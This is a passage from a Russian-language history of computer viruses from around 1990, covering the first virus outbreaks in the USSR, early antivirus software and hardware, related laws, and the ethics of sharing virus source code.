дующий день, а не через месяц или год, как это часто бывает у нас.
В частности, история борьбы с вирусом Морриса показала, что даже в
этом случае,  когда удар  был фактически  направлен по самой сети,
функционирование последней явилось важным фактором быстрого и пол-
ного решения  проблемы прекращения  его  распространения.  Поэтому
расписывание ужасов  сетевых вирусов при практически полном отсут-
ствии сетей,  как раньше  запугивание генетикой и ПЭВМ (в середине
80-х в  Литгазете была  опубликована пространная статья, в которой
на полном  серьезе доказывалось,  что социалистическому обществу в
связи с  его коллективистским  характером ПЭВМ не нужны), является
отражением нашей  отсталости и консервативности. Перефразируя при-
веденные в  качестве эпиграфа  слова А.Азимова  можно сказать, что
"Опасно не наличие сетей, а их отсутствие".
  Конечно, компьютерные сети, как любое технологическое новшество,
создают и  новые возможности  для вандализма.  Сетевые вирусы  или
точнее репликаторы являются примером использования этих новых воз-
можностей. Однако  суммарный эффект не отрицателен, а положителен:
наличие сети неизмеримо увеличивает эффективность защиты, создавая
возможность "мгновенной" передачи разработанных детекторов, фагов,
вакцин. Этот канал по своей эффективности конечно не идет ни в ка-
кое сравнение  с передачей  дискет через железнодорожных проводни-

ков: эту  эрзац-сеть, которой вынуждены пользоваться отечественные
программисты.

                 1.2.7. Появление вирусов в СССР

                                  "Ой Вань, гляди, какие клоуны...
                                   Нет, я, ей-богу, закричу!.."
                                                        В.Высоцкий

  Так или  иначе, компьютерные вирусы стали частью окружающей про-
граммистов, да  и не только программистов, действительности. Одним
из свидетельств этого является тот факт, что новое издание словаря
Вебстера (Webster's  Ninth New College Dictionary) включает термин
"вирус компьютерный".  И они,  конечно, не  миновали нашей страны,
хотя массовые закупки персональных компьютеров типа IBM/PC у нас в
стране начались  только в середине 1988 г. (как всегда мы опоздали
почти на десять лет). К этому же моменту начался выпуск советских,
правда изрядно  африканизированных, клонов -- ЕС 1840, Искра 1030 и
Нейрон.
  Хотя исследования,  выполненные в СССР, начались довольно поздно
и их  формально нельзя  отнести к  предыстории (автору не известны
отечественные попытки  создания самовоспроизводящихся  программ до
1988 г.), следует  отметить, что первое отечественное исследование
в данной  области было  выполнено до появления у нас в стране "на-
стоящих"  компьютерных  вирусов.  Оно  было  проведено  в  1988 г.
А.А.Чижовым, который в то время работал в ВЦ АН СССР (Москва). Ос-
новываясь непосредственно  на концепции самовоспроизводящихся про-
грамм, он самостоятельно реализовал демонстрационный файловый ком-
пьютерный вирус  для MS DOS и провел ряд экспериментов по его рас-
пространению (см.  сокращенную стенограмму  выступления А.А.Чижова
на семинаре,  приведенную в  бюллетене СОФТПАНОРАМА  90-3). В ходе
этих экспериментов  автором была выявлена чрезвычайно большая ско-
рость распространения  вируса. По материалам этого исследования  в
1988 г. была  опубликована первая  русскоязычная статья  по данной
проблематике [Чижов88]  (журнал был  подписан в  печать  26.07.88,
т.е. во время проведения в CCCР Международного детского компьютер-
ного летнего  лагеря -- см. ниже). Хотя в ней не приводились сведе-
ния о конкретных вирусах в MS DOS (А.А.Чижов "живыми" экземплярами
вирусов в  тот момент  не располагал),  статья содержала  полезные
сведения о  механизме работы этого типа программ и предупреждала о
серьезности данной  угрозы. В то же время публикация имела и отри-
цательные последствия, поскольку ввела в оборот "фантомные" на тот
момент типы  вирусов, которые  с тех  пор кочуют  по отечественным
публикациям ("вирус  в объектной  библиотеке",  "вирус  в  сетевом
драйвере" и др.). Кроме того, неконкретность рекомендаций исключа-
ла принятие  каких-то полезных профилактических мер, а призывы ав-
тора к  соблюдению авторских прав носили в определенной мере мора-
лизаторский характер.  Статья была замечена специалистами в Польше
(которые, кстати, отметили потенциальную опасность статьи, как по-
собия по разработке новых типов вирусов) и, возможно, других стра-
нах Восточной Европы.
  Первый компьютерный  вирус (С-648 по приводимой ниже классифика-
ции) появился в СССР приблизительно в августе 1988 г.  Этот вирус,
часто называемый  венским вирусом  (по предполагаемому  месту  его
разработки), вызывал перезагрузку операционной системы при запуске
некоторых из  пораженных им программ. Одним из первых мест, где он
был обнаружен,  являлась лаборатория  Института программных систем
(Переславль-Залесский). Возможно,  он попал в лабораторию во время
проведения институтом (совместно с ЮНЕСКО) Международного детского
компьютерного летнего  лагеря. Поскольку  этот  вирус  к  середине
1988 г. был  уже довольно распространен в странах Западной Европы,
он несомненно завозился в СССР неоднократно, c различного рода но-
выми версиями  программного обеспечения  и компьютерными играми. В
Киеве этот вирус появился в конце 1988 г. Наибольшее распростране-
ние он  получил примерно в апреле 1989 г., после чего его эпидемия
пошла на убыль, что прежде всего связано с достаточной распростра-
ненностью средств  защиты от  этого вируса.  Одним из переносчиков
этого вируса в Киеве был адаптированный вариант программы SideKick
(шестерка). К  сожалению, по стране распространяется реконструиро-
ванный одним  венским программистом исходный текст данного вируса,
с довольно  подробными комментариями. Этот текст, в частности, был
включен В.Бончевым  в его  так называемую "вирусную" дискету,
распространявшуюся вместе с разработанным им пакетом антивирусных
программ. Наличие исходного текста создает благоприятные условия для
появления штаммов. И, действительно, данный вирус имеет, пожалуй,
наибольшее часло штаммов из нерезидентных файловых вирусов. (см.,
например, описания вирусов С-534 и С-623).
  Вторым вирусом, попавшим в СССP, был вирус RC-1701. Данный вирус
вызывал довольно интересный эффект "опадания" букв на экране мони-
тора. Этот  вирус также  имеет западноевропейское происхождение. В
СССР впервые  был выделен  в Институте прикладной математики имени
М.В.Келдыша АН  СССР. B  Киеве появился  в начале 1989 г. Средства
защиты появились  примерно одновременно с вирусом, поэтому сущест-
венного вреда  вирус не  нанес. Первым средством защиты от данного
вируса в Киеве была немецкоязычная (австрийская) программа SERUM3,
которая могла  работать как в режиме фага, так и в режиме детекто-
ра. Среди  первых отечественных программ, применявшихся на началь-
ной стадии  эпидемии, следует отметить детектор В.Ладыгина (ИПМ АН
СССР) VIRUS_D1.
  Попытки программистов  организоваться для  борьбы с  этой  новой
разновидностью системных  программ относятся к началу 1989 г. Так,
12 апреля  1989 г. в Киеве в рамках семинара "Системное программи-
рование" было проведено первое специализированное заседание по ан-
тивирусной тематике.  В дальнейшем  выступления по этой теме стали
регулярными и  было проведено еще несколько специальных заседаний,
посвященных защите от вирусов. Они сыграли определенную роль в со-
кращении случаев заражения компьютеров и ликвидации эпидемий виру-
сов C-648,  RC-1701, и в особенности RC-1813, масштаб эпидемии ко-
торого в  Киеве был наибольшим. Кстати, этот вирус хорошо прошелся
по СССР,  реально показав,  насколько "невооруженные" пользователи
уязвимы от этой новой для них опасности: сотни, если не тысячи ча-
сов были потеряны на переформатирование винчестеров и выгрузки ар-
хивных копий  в надежде  избежать повторного заражения. С сентября
1989 г. семинаром "Системное программирование" был организован вы-
пуск электронного  бюллетеня СОФТПАНОРАМА, который стал важным ка-
налом распространения  информации о  появлении новых  компьютерных
вирусов и  бесплатных программах  для борьбы  с ними.  Список про-
грамм, распространявшихся  через бюллетень,  приведен в прил. 5. В
том же месяце начала распространяться версия 1.0 данной работы.
  Первые случаи потери важных данных от компьютерных вирусов стали
известны автору в конце 1989 г., когда к нему обратился представи-
тель оптовой базы, у которого, как оказалось, базы данных о храни-
мых запасах были повреждены вирусом RCE-1800 (Dark Avenger). Пери-
одически автору  поступают сообщения  о полностью уничтоженном со-
держимом винчестера,  причем характер повреждений не позволяет до-
стоверно установить,  имеем ли  мы дело  с вирусом или с тщательно
замаскированной троянской программой (например, подозревается одна
версия COLORCAM со сломанной, но как видно, не до конца, защитой),
или с выходом из строя самого винчестера. При этом, однако, броса-
ется в глаза тот факт, что примерно у половины пользователей к мо-
менту потери  содержимого винчестера  не существует  его более или
менее "свежей"  копии. Вот  уж действительно прав был Бернард Шоу,
сказав: "Опыт содержит самую дорогую школу, однако многие, похоже,
не способны  учиться ни в какой другой". В конце 1989 г. в Донецке
была обнаружена  троянская программа в составе "нелегальной" копии
известной игры  FORMULA. Эта  программа переписывала себя в загру-

зочный сектор  винчестера и через некоторое время стирала CMOS-па-
мять.

           1.2.8. Отечественные антивирусные публикации

                                  "-- Вот что, товарищи, --  говорил
                                  Паламидов, поспешая вместе
                                  с братьями по перу в столовую, --
                                  давайте условимся -- пошлых
                                  вещей не писать"
                                                И.Ильф и Е.Петров.

  На первой отечественной публикации, посвященной компьютерным ви-
русам, мы уже останавливались. Практически по следам событий, сра-
зу после  появления вирусов С-648 и RС-1701, был написан целый ряд
статей, однако большой срок запаздывания журнальных изданий сыграл
очень негативную  роль, задержав  их выход в свет настолько, что к
моменту получения  читателями содержащаяся в них информация в зна-
чительной степени  устарела. Написанные  еще в  конце 1988 г., все
они вышли  только в конце 1989 г. К этому моменту эпидемии вирусов
C-648 и  RC-1701 практически закончились. Среди указанных публика-
ций следует  отметить статью  И.Ш.Карасика [Карасик89а], в которой
впервые подробно  изложены сведения о механизме работы и эффектах,
вызываемых вирусами  С-648 и RС-1701. Несмотря на значительное за-
паздывание (третий  номер журнала  "Мир ПК"  был подписан в печать
11.07.89 и  появился в продаже в декабре 1989 г.), уровень понима-
ния механизма работы вируса RС-1701 выделяет эту работу из осталь-
ных публикаций.
  В настоящее время поток публикаций по данной тематике существен-
но возрос и статьи стали появляться практически ежемесячно. Следу-
ет отметить,  что сроки  публикации в отечественных журналах и се-
годня  остаются  крайне  неудовлетворительными.  Например,  статья
А.С.Осипенко [Осипенко90], написанная  в конце 1989 г., была опуб-
ликована только в третьем номере журнала "Мир ПК" за 1990 г., при-
чем этот  номер поступил  в продажу  лишь в августе, т.е. опять же
когда эпидемии вирусов, описываемых в статье, практически закончи-
лись.
  Как обычно, среди основной массы "нормальных" публикаций, встре-
чаются и неудачные. К ним можно отнести брошюру [Основский90], со-
держащую пересказ  различных слухов (о вирусе, вводящем в резонанс
головки винчестера,  вирусе типа  "квадрат Малевича"  длиной  3767
байт, сетевом вирусе длиной 2231 байт, самораскручивающемся в опе-
ративной памяти  вирусе размером  1201 байт  и др.). Приведенные в
брошюре сведения  породили  новые слухи, рассматриваемые в разделе
о мифических вирусах.
  Обилием спорных  утверждений и  излишней категоричностью  грешит
статья Ф.Н.Шерстюка  [Шерстюк90], в  которой реализация достаточно
ограниченного по  своим возможностям метода защиты от вирусов, вы-
дается за  панацею. Достоинством  статьи является  то, что  в  ней
впервые в  отечественной литературе описана реализация нерезидент-
ной вакцины, прикрепляющейся в конец тела программы, подобно обыч-
ному файловому  вирусу. Вместе с тем, в статье допушен ряд (вполне
простительных) технических ошибок, связанных с недостаточным пони-
манием механизма использования 13 прерывания версиями 3.x и 4.x MS
DOS, а  некоторые по  меньшей мере спорные утверждения выдаются за
непререкаемые истины. К числу последних, в частности, относятся:
  "вирусы ... разрабатывают даже в кругах, близких к таким крупным
фирмам-разработчикам ПК, как IBM, в целях борьбы с фирмами, произ-
водящими компьютеры-клоны";
  "практика показывает, что именно специализированные антивирусные
программы (имеются в виду полифаги -- БНН) чаще всего являются раз-
носчиками вирусов";
  "все имеющиеся  на сегодняшний  день методы  борьбы  с  вирусами
практически исчерпали  себя, необходимо  разработать принципиально
новые".
  Первое утверждение,  вынесенное в  аннотацию статьи, автор ничем
не обосновывает.  А доказательств  причастности "кругов, близких к
фирме IBM"  к разработке  вирусов не существует, если, конечно, не
считать такими кругами всех пользователей компьютеров, совместимых
с IBM PC. Если В.Ф.Шерстюк имел в виду особенность вируса RС-1701,
состоящую в том, что этот вирус не должен был размножаться на ори-
гинальных IBM PC (кстати, в этом месте автор вируса допустил ошиб-
ку и  вирус успешно  размножается на  таких компьютерах),  то этот
факт скорее  свидетельствует об обратном, т.е. о страхе автора ви-
руса перед такой могущественной фирмой как IBM.
  Второе утверждение уже принципиально неверно, т.к. создает у чи-
тателей ложное  впечатление об  опасности полифагов.  Во-первых, к
моменту написания  статьи полифаги уже стали снабжаться средствами
самоконтроля на  зараженность (например,  Aidstest), а  во-вторых,
компьютерные игры  были и  остаются куда  более опасным источником
заражения, чем фаги.
  Особенно характерно последнее утверждение, которое можно считать
своего рода лакмусовой бумажкой "детской болезни левизны в вирусо-
логии". В действительности предлагаемый автором метод имеет не ме-
нее серьезные  недостатки, чем  те методы защиты, которые он якобы
призван заменить.  В частности,  принципиальными недостатками опи-
санного метода  вакцинирования является потеря дискового простран-
ства (размер  всех выполняемых файлов увеличивается на размер вак-
цины, который  скорее всего составит порядка 512 байтов, т.е. сек-
тора диска),  а также возможная потеря работоспособности некоторых
вакцинированных резидентных  программ или  программ со специальной
структурой (скрытыми  оверлеями и др.). Вместе с тем, в комбинации
с другими  методами этот метод безусловно полезен и имеет право на
существование.
  С другой стороны, некоторые авторы стремятся повысить свой авто-
ритет за  счет пренебрежительных высказываний о других публикациях
и разработанных  антивирусных программах.  Здесь также  необходимо
чувство меры. Критика уровня "... - продажная девка империализма",
начинающаяся и  заканчивающаяся утверждениями  о том, что оппонент
просто глуп,  не  утруждающая себя приведением доказательств явля-
ется таким  же проявлением нашей отсталости, как и выпускаемые на-
шей промышленностью ПЭВМ.

1.2.9. Первые отечественные антивирусные программы, начало форми-
                рования рынка программных средств
                        защиты от вирусов

                                 "Please do not shoot the pianist.
                                  He is doing his best"
                                      Надпись в американском баре;
                                     приписывается также О.Уайльду

                                           "А борьба на всем пути
                                             В общем равная почти"
                                                        В.Высоцкий

  Разработка первых отечественных антивирусных программ -- детекто-
ров (программ,  обнаруживающих  вирус) и фагов (программ, "выкусы-
вающих" вирус) --  началась еще  в 1988 г.  Из полифагов, сыгравших
значительную роль  на начальном  этапе, следует отметить программу
Aidstest Д.Н.Лозинского,  Doctor А.А.Чижова  и ANTI-KOT  О.Котика.
Причем программа  ANTI-KOT быстро стала коммерческой и практически
не принимала участие в борьбе с вирусами, начиная с осени 1989 г.,
а программа  Doctor по  этой же  причине "выпала из игры" в важный
период сентября -- декабря 1989 г. Дольше всего бесплатно распрост-
ранялась программа  Aidstest, которая с осени 1989 по лето 1990 г.
была самой популярной отечественной антивирусной программой. Одна-
ко к  маю 1990 г. Д.Н.Лозинский настолько устал от звонков пользо-
вателей, что  решил "уйти  в профессионалы",  хотя, по его словам,
ему было бы достаточно секретаря, отвечавшего на непрерывные теле-
фонные звонки.  Коммерческие версии до октября 1990 г. были доста-
точно дорогими  и значимость Aidstest для "широких кругов" пользо-
вателей резко упала. Однако, начиная с октября незащищенная от ко-
пирования версия  Aidstest стала  распространяться по  цене 3 руб.
для частных лиц (т.е. практически как SHAREWARE) и, возможно, быс-
тро обретет былую популярность. Cреди полифагов, распространяющих-
ся бесплатно,  одним из  лидеров стала  программа Kхх  Е.Сусликова
(после буквы  "К" в  имени этой  программы обычно стоит количество
"выкусываемых" вирусов,  например К41).  Конечно, положение, когда
пользователи предпочитают антивирусные программы, распространяющи-
еся бесплатно, можно оценивать по-разному.
  Подобно тому,  как рост  преступности порождает повышенный спрос
на замки и другие средства защиты, изготовители программного обес-
печения и компьютерного оборудования предпринимают попытки исполь-
зовать ситуацию  для завоевания рынка. В настоящее время общее ко-
личество антивирусных  средств наверное в несколько раз  превышает
общее количество  известных компьютерных  вирусов. Только  в нашей
стране разработаны  десятки, если  не сотни  коммерческих программ
для этой цели. Цены на такого рода продукты колеблются примерно от
300 до нескольких тысяч рублей с типичной ценой в 1000 руб. за па-
кет. Как правило, коммерческое программное обеспечение распростра-
няется защищенным  от копирования  и требует для своей работы либо
инсталляции на  винчестер со  специальной дистрибутивной  дискеты,
либо работы  непосредственно с поставляемой оригинальной дискетой.
Это создает некоторые неудобства при архивировании или переразмет-
ке винчестера.
  В связи  с тем, что рынок как таковой еще не сложился, цены, ус-
танавливаемые разработчиками, как правило, совершенно не связаны с
качеством  соответствующего  программного  продукта  (иногда  даже
встречаются случаи продажи по принципу "толкни и убегай"). Доволь-
но часто  программное обеспечение для защиты от вирусов, распрост-
раняемое за меньшую цену или даже бесплатно, обладает сопоставимы-
ми или  лучшими характеристиками.  Эта ситуация характерна как для
отечественных, так и для зарубежных средств защиты от вирусов, что
свидетельствует о  незрелости данной  "отрасли". Кроме  того, лишь
немногие  продукты   сочетают  защиту  от  вирусов  со  средствами
резервирования  информации  или  защитой  от  несанкционированного
доступа, а  именно такие интегрированные системы представляют, по-
видимому, наибольшую ценность для пользователей.

               1.2.10. Появление аппаратных средств
                        защиты от вирусов

  Изготовители компьютерного  оборудования не  так активно включи-
лись в  "охоту на вирусы", как изготовители программного обеспече-
ния. Тем  не менее  ряд продуктов доведен до уровня коммерческих и
продается потребителям.  Предлагаемые аппаратные  средства защиты,
как правило,  представляют собой специальные платы. Однако в конце
1988 г. фирма  American Computer Security Industries, Нэшвилл, шт.
Теннеси, США, представила "первый надежно защищенный противовирус-
ный компьютер", класса PC AT, названный "Immune System" ("Иммунная
система"). Cистема якобы обладает иммунитетом от вирусной атаки, а
также полным набором средств, предохраняющих MS  DOS и BIOS от не-
санкционированных изменений  (Computer Age,  январь  1989 г.,  см.
также Personal Computing, 1989, щ 5, р. 92).

  Из зарубежных  плат, повышающих степень защищенности компьютера,
отметим плату  Immunetec PC  фирмы Зевс  (Zeus Corp., 538 Pasadena
Dr., Akron  OH 44303-1704,  USA; (216)  867-8181), стоимостью  295
долларов. Эта  плата тестирует  бутсектор и системные файлы MS DOS
на наличие несанкционированных изменений, а также позволяет запре-
тить загрузку  системы с дискеты, установить паспорта и уровни до-
ступа к  винчестеру. Плата  совместима с  сетями Novel, 3Com и IBM
Token Ring  [Personal Computing,  1989, щ  5, р.  92]. Аналогичная
плата Trispan  фирмы Микроникс  (Micronics Inc.,  1901  N  Central
Expressway, Richardson,  TX 75080,  USA; (214)690-0595)  стоит 895
долларов.
  Из советских  разработок интерес  представляет плата  PORT WATCH
CARD донецкой  фирмы БИС  (см. прил.5),  совместимая с популярными
сетями. Работая  вместе с  разработанной  А.Водяником  резидентной
программой IWP (Intellectual Write Protector), эта плата достаточ-
но надежно  перекрывает возможные пути инфекции, позволяя, в част-
ности, аппаратно блокировать загрузку, если пользователь не указал
требуемый пароль. Следует отметить, что загрузка с собственной ди-
скеты -- стандартный  прием проникновения в чужой компьютер любите-
лей компьютерных игр, да и не только их.
  Принцип действия  IWP основан  на усилении присваиваемого файлам
атрибута READ_ONLY в сочетании с защитой системных блоков, включая
MBR и  бутсектор. Защищаемые файлы отмечаются специальной утилитой
MAP.EXE, устанавливающей защищаемым файлам указанный атрибут и со-
здающей в  файле _IWP_.MAP  в коpневом каталоге шифрованный список
элементов каталога  защищаемых файлов  и цепочки  его кластеpов  в
FAT. При загрузке IWP считывает этот список, пеpехватывает попытки
записи чеpез  дpайвеp диска и анализиpует их. При выявлении пpоти-
воpечий выдается  сообщение и опасная запись блокиpуется. Запись и
фоpматиpование чеpез пpеpывание 13h запpещаются, если они выполня-
ются не  из дpайвеpа  диска, a  из дpугих пpогpамм. Вывод  в поpты
контpоллеpов дисков --   если он выполняется не из BIOS по пpеpыва-
нию 13h.  Используя плату Port Watch Card, IWP контролирует запись
в CMOS-память (поpт 71h) и опасные действия с портами контpоллеpов
дисководов   дискет    (370h..377h,   3F0h..3F7h)   и   винчестера
(170h..177h, 1F0h..1F7h -- PC AT; 320h..32Fh -- PC XT).
  Недостатком существующей IWP является значительный объем исполь-
зуемой оперативной памяти (порядка 30К при защите винчестера 40M).
Правда, разработчики предлагают специальный драйвер, имеющий и са-
мостоятельное значение, расширяющий ОЗУ на 80K, если на компьютере
установлена карта  EGA (несколько  больше для карт CGA и Hercules)
за счет неиспользуемой в текстовом режиме видеопамяти. Планируется
разработка новых версий платы с IWP, записанной в ROM платы.

           1.2.11. Семинар "Системное программирование"
                     и бюллетень СОФТПАНОРАМА

  Отсутствие сетей  и изолированность  отечественных программистов
друг от друга также явилось фактором, способствовавшим распростра-
нению вирусов по нашей стране. Как уже указывалось, первые попытки
организовать обмен  информацией по  "антивирусной" тематике и рас-
пространение  антивирусных  программ  относятся  только  к  апрелю
1989 г. Так, в Киеве 13.04.90 состоялся тематический семинар, пол-
ностью посвященный  проблеме компьютерных вирусов. Программа этого
семинара включала  сообщения по  четырем типам вирусов (С-648, RC-
1701, RCE-1813  и Bx1-1C (Ping-Pong)) и большую дискуссию. Начиная
с этого  семинара, среди  участников стали распространяться лучшие
антивирусные программы, а с сентября 1989 г. начал выходить ежеме-
сячный бюллетень  COФТПАНОРАМА. В  настоящее время  с формата 360К
бюллетень перешел  на формат 720К, приблизительно треть из которых
выделяется под новые версии антивирусных средств и  текущую инфор-
мацию о компьютерных вирусах.

            1.2.12. Болгарские и польские исследования

  Из исследований, проведенных в странах Восточной Европы, следует
отметить польские  и болгарские  публикации. Лидером среди авторов
болгарских публикаций  на рассматриваемую  тему является В.Бончев.
Этим, безусловно очень способным исследователем, была опубликована
одна из  первых  статей  по  вирусу  С-648  [Бончев89а],  а  через
некоторое время  большая статья  [Бончев89б], перевод  которой был
включен во  второй выпуск  бюллетеня COФТПАНОРАМА. Несмотря на ряд
допущенных ошибок и неточностей,  в ней были приведены  актуальные
на тот момент сведения о  вирусах группы ТР (автор лично  знаком с
техно-крысой, разработавшей эту группу). В статье также очень мяг-
ко трактовался вопрос об ответственности за разработку и распрост-
ранение вирусов. Возможно это связано с тем, что в это время автор
сам распространял дискету с рядом вирусов и их исходными текстами.
Хотя мотивом служило, по-видимому, желание показать, что в компью-
терных вирусах  нет ничего  таинственного, эта  "ошибка молодости"
возможно послужила одной из причин последовавшего в 1990 г.  "бол-
гарского вирусного взрыва" (см. ниже). Вместе с тем, статьи Бонче-
ва были важным источником  информации о распространяющихся в  СССР
вирусах и несколько облегчили борьбу с ними. Сейчас уже можно  го-
ворить о  серии "околовирусных"  статей В.Бончева  в журнале "Ком-
пютър за вас", причем уровень последних статей существенно превос-
ходит уровень первых. Последнее время В.Бончев стал активно участ-
вовать в  электронной конференции  FIDO, посвященной  компьютерным
вирусам.
  Вместе с  тем, в статьях В.Бончева наблюдается определенный "пе-
рекос" в сторону раскрытия механизма работы вирусов по сравнению с
методами защиты  от них,  что, в  общем,  соответствует  интересам
В.Бончева, как  ведущего рубрики.  Отметим, что  этот перекос  не-
сколько компенсируется  тем, что  В.Бончев является  также автором
ряда бесплатно  распространяемых фагов,  которые помимо  Болгарии,
получили определенное  распространение и  в СССР.   Однако с точки
зрения влияния  на читательскую аудиторию, указанная несбалансиро-
ванность редакционной  политики вызывает  сожаление. Поэтому  роль
указанных статей можно оценить как несколько противоречивую. Впро-
чем автор  сознает, что подобная критика может быть высказана и по
отношению к его собственной работе.
  Помимо В.Бончева, ряд статей по данной тематике опубликовал бол-
гарский исследователь  С.Недков [Недков89а-Недков90а,  Nedkov89] и
польский исследователь А.Кадлоф [Кадлоф90, Kadlof89].

          1.2.13. Законы, направленные против техно-крыс

                                     "Много ли желающих получить
                                      действительно по заслугам ?"
                                      С.Крытый. ЛГ щ 33 (16.08.89)

  Вирусы, как  и троянские  программы, создаются  конкретными про-
граммистами. Хотя  дальнейшее обсуждение будет в основном техниче-
ским, не следует забывать, что ключевым аспектом проблемы является
появление техно-крыс -- новой разновидности уголовников, использую-
щих для  своих целей  возросшую степень  анонимности, достижимую с
появлением ПЭВМ  и сетей. Поэтому важным аспектом борьбы с компью-
терными вирусами  становится выявления  личности  преступника  или
преступной группы, создающей или распространяющей компьютерные ви-
русы. Руководитель  американской специальной  группы  по  изучению
компьютерных преступлений,  Кирк Тэбби,  занимающий пост помощника
прокурора в  Эн-Арборе (шт. Мичиган) заявил: "Уголовное дело можно
возбудить всегда, когда существует человек, совершивший преступле-
ние. Незаметное внедрение вируса в программу  является злонамерен-
ным действием, а создание подобной программы -- преступлением" (The
Computer Law  and Security  Report. -- 1989. -- V.5. -- No. 1 -- H.18-
21). Уголовная  ответственность может  сочетаться с иском за нане-
сенный ущерб.
  К концу 1989 г. в ряде стран (США, Великобритания, ФРГ) находят-
ся на  рассмотрении законы,  предусматривающие для разработчиков и
распространителей компьютерных вирусов значительные сроки тюремно-
го заключения  (в США до 15 лет). Это позволит, помимо программных
и организационных  мер, применять для борьбы с вирусами и правовые
методы. В частности, в палате представителей Конгресса США внесены
билль 55  (Virus Eradiation  Act) и билль 287 (Computer Protection
Act) [Crawford89].
  Выдержки из билля 287 (перевод Н.Н.Безрукова)
  (А) Любой,  кто сознательно  или умышленно саботирует надлежащее
функционирование аппаратуры  компьютерной системы или связанного с
ней программного  обеспечения и  тем самым  вызовет потерю данных,
затруднения при  работе ЭВМ, убытки или вред владельцу компьютера,
должен быть  оштрафован --  или подвергнут  тюремному заключению на
срок не более 15 лет или подвергнут обоим наказаниям.
  (В) Пострадавшая  сторона имеет  право в судебном порядке требо-
вать соответствующую компенсацию понесенных убытков и судебных из-
держек.

  Национальный институт  стандартов США и Пентагон создали Компью-
терную группу быстрого реагирования из 12 человек для борьбы с ви-
русами и  поиска преступников.  Кроме того, Пентагон планирует со-
здать свой  коммуникационный центр  и подразделение  для отражения
атак на  компьютерные системы  (Comm. AСM,  1989, v.  32, щ  2, p.
161).
  В ФРГ  законодательство позволяло,  в большинстве  случаев, при-
влечь к  ответственности изготовителей и распространителей вирусов
еще в  1987 г. Подробнее с состоянием правовой защиты от заражения
компьютерными вирусами  в ФРГ по состоянию на 1987 г. можно позна-
комиться  по   переводу  книги   Р.Бургера  "Компьютерные  вирусы"
[Burger88, гл.6].  Этот перевод распространяется, в частности, че-
рез Всесоюзный центр переводов (ВЦП).
  Появление достаточно  суровых законов  создает в  известной мере
трагическую ситуацию, известную под названием "поиск козла отпуще-
ния". Посадят  одного, причем  не самого вредного. Остальные оста-
нутся на  свободе. А  что такое для молодого способного человека в
17-18 лет получить даже год тюремного заключения? Да еще сознавая,
что его  посадили, а  остальные, принесшие не меньший вред, гуляют
на свободе.

                   1.2.14. Этические проблемы,
        связанные с распространением компьютерных вирусов

                                   "Копии хороши лишь тогда, когда
                                    они открывают нам смешные
                                    стороны дурных оригиналов"
                                              Франсуа де Ларошфуко

  Конечно,   общепринятые    приоритеты   и   этические   принципы
[ParkerD81, Weiss82] исследований в программировании, использовав-
шиеся на  первом этапе --  предыстории компьютерных  вирусов, когда
проблема носила  преимущественно научный характер (свободный обмен
информацией, программами  и т.д.),  не применимы  на втором этапе,
когда проблема  затрагивает интересы практически каждого пользова-
теля ПЭВМ.  Сейчас как никогда остро стоит проблема выработки "ко-
декса" исследователя-"вирусолога".  Этот кодекс  должен  исключать
свободную передачу  как самих  вирусов, в  особенности их наиболее
опасных разновидностей  (RCE-1800, RCE-2000  и  др.).  Здесь  есть
смысл применить  подход, принятый в медицине, где лекарства разде-
лены на  "список-А", "список-Б" и т.д., причем в список-А попадают
наиболее опасные  лекарства, доступ к которым наиболее регламенти-
рован, в  список-Б менее опасные, но с регламентацией доступа (ре-
цепт с печатью) и т.д.
  Появление "коллекционеров"  вирусов, не ведущих работу по созда-
нию средств защиты, представляет особую опасность, поскольку попа-
дание такой  "коллекции" в руки злонамеренного и безответственного
программиста может наделать много бед. Автор считает, что передача
вирусов может  осуществляться только лицам, активно ведущим разра-
ботку средств защиты, и только на основе "соглашения о нераспрост-
ранении".
  Наибольшую опасность  представляют собой комментированные исход-
ные тексты вирусов. Уровень квалификации, требуемый для того, что-
бы изменить в ассемблерном тексте две-три команды, и заново ассем-
блировать текст  вируса намного  ниже, чем  тот, который требуется
для дизассемблирования и реконструкции логики. Поэтому распростра-
нение исходного текста вируса фактически является подстрекательст-
вом к  созданию новых  вирусов. Если два-три года назад такой
поступок мог быть связан с отсутствием осознания опасности
компьютерных вирусов, то сейчас распространявшего исходных текстов
граничит с преступлением.

  Следует подчеркнуть  необходимость особой осторожности для всех,
кому так или иначе приходится анализировать зараженные программы и
реконструировать логику  вируса. Относящиеся к этому материалы же-
лательно держать  преимущественно как  личные записи,  не прибегая
без необходимости  к внесению  комментариев в файл, содержащий ди-
зассемблированный текст.  Каталоги и архивы защищать от несанкцио-
нированного доступа паролями или, предпочтительнее, шифровкой. Не-
допустимо оставлять  такого рода  материалы в обычных каталогах на
"персональном  компьютере  коллективного  пользования",  поскольку
есть немало любителей рыться в чужих каталогах в поисках "чего-ни-
будь интересненького". Реконструированный текст следует рассматри-
вать как материал "для служебного пользования" и не передавать не-
знакомым лицам,  даже если, по их словам, они занимаются разработ-
кой антивирусных  средств: для  создания большинства  антивирусных
средств, в  особенности фагов, необходимые сведения специалист мо-
жет получить самостоятельно за два-три часа работы.
  В особенности  это относится к вузам, где, несмотря на нашу бед-
ность, талантливые  ребята все  же имеют  возможность работать  на
персональных ЭВМ.  Часто такие ребята предоставлены сами себе и не
имеют поддержки со стороны преподавателей программирования, многие
из которых давно отошли или вообще никогда не занимались разработ-
кой реальных  программ и просто боятся студентов, "знающих слишком
много". При отсутствии более конструктивной цели, заполучив какие-
нибудь листинги,  такие студенты  могут заняться разработкой виру-
сов, а  не антивирусов, не отдавая себе отчет в аморальности своих
действий. Поскольку  обмен  программами  между  студентами  обычно
весьма интенсивен,  вирус имеет определенные шансы на быстрое рас-
пространение. Поэтому  необходимы определенные действия обществен-
ности, чтобы  предотвратить такую  возможность. Они могут включать
награду каждому, кто сообщит автора того или иного вируса, а также
разъяснительную работу относительно этического содержания действий
разработчиков вирусов. В этом плане заслуживает внимания обращение
к авторам вирусов американской общественной организации "Професси-
оналы-программисты за социальную ответственность":
  "У Вас  есть талант,  чтобы сделать что-то полезное в жизни. То,
что Вы  делаете, вредит  промышленности и обществу, которое готово
принять Вас  и ваш талант с распростертыми объятьями. Удовлетворе-
ние, которое  Вы получите  от сотрудничества  с нами, намного выше
того, которое Вы получите при нанесении вреда ни в чем не повинным
людям. Остановитесь !"
  Среди программистов  существует два основных мнения относительно
того, следует ли публиковать сведения о конкретных вирусах и мето-
дах атаки, используемых ими. Одни считают, что публикация техниче-
ских подробностей  облегчит криминальным элементам, которые, к со-
жалению, имеются  и среди  программистов, создание более опасных и
разрушительных  вирусов.  Другие  придерживаются  противоположного
мнения, полагая,  что публикация  этих данных будет способствовать
